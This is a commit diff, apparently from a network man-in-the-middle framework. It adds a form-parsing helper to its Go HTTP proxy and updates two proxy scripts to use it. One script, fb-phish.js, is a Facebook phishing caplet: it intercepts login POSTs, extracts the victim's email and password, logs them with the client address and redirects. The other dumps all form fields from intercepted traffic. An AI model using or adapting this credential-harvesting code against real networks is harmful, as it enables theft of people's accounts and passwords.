new: new request.ParseForm builtin method for proxy modules.

caplets/fb-phish.js

@@ -1,46 +1,19 @@
-
 var RESET = "\033[0m";
 
 function R(s) {
     return "\033[31m" + s + RESET;
 }
 
-function G(s) {
-    return "\033[32m" + s + RESET;
-}
-
 function B(s) {
     return "\033[34m" + s + RESET;
 }
 
-function Y(s) {
-    return "\033[33m" + s + RESET;
-}
-
-function DIM(s) {
-    return "\033[2m" + s + RESET;
-}
-
-function BOLD(s) {
-    return "\033[1m" + s + RESET;
-}
-
 function onRequest(req, res) {
     if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) {
-        var body = req.ReadBody();
-        var parts = body.split('&');
-        var email = "?", pass = "?";
+        var form = req.ParseForm();
+        var email = form["email"] || "?", 
+            pass  = form["pass"] || "?";
 
-        for( var i = 0; i < parts.length; i++ ) {
-            var nv = parts[i].split('=');
-            if( nv[0] == "email" ) {
-                email = nv[1];
-            } 
-            else if( nv[0] == "pass" ) {
-                pass = nv[1];
-            }
-        }
-    
         log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" );
 
         res.Status      = 301;

caplets/http-req-dump.js

@@ -43,12 +43,9 @@ function dumpPlain(req) {
 function dumpForm(req) {
     log( "  > " + BOLD(G("Form")) );
 
-    var body = req.ReadBody();
-    var parts = body.split('&');
-
-    for( var i = 0; i < parts.length; i++ ) {
-        var nv = parts[i].split('=');
-        log( "   " + B(nv[0]) + " : " + Y(nv[1]) );
+    var form = req.ParseForm();
+    for( var key in form ) {
+        log( "   " + B(key) + " : " + Y(form[key]) );
     }
 }
 

caplets/www/.gitignore

@@ -0,0 +1 @@
+www.facebook.com

modules/http_proxy_js_request.go

@@ -4,6 +4,7 @@ import (
 	"fmt"
 	"io/ioutil"
 	"net/http"
+	"net/url"
 	"strings"
 )
 
@@ -63,3 +64,26 @@ func (j *JSRequest) ReadBody() string {
 
 	return j.Body
 }
+
+func (j *JSRequest) ParseForm() map[string]string {
+	if j.Body == "" {
+		j.Body = j.ReadBody()
+	}
+
+	form := make(map[string]string, 0)
+	parts := strings.Split(j.Body, "&")
+
+	for _, part := range parts {
+		nv := strings.SplitN(part, "=", 2)
+		if len(nv) == 2 {
+			unescaped, err := url.QueryUnescape(nv[1])
+			if err == nil {
+				form[nv[0]] = unescaped
+			} else {
+				form[nv[0]] = nv[1]
+			}
+		}
+	}
+
+	return form
+}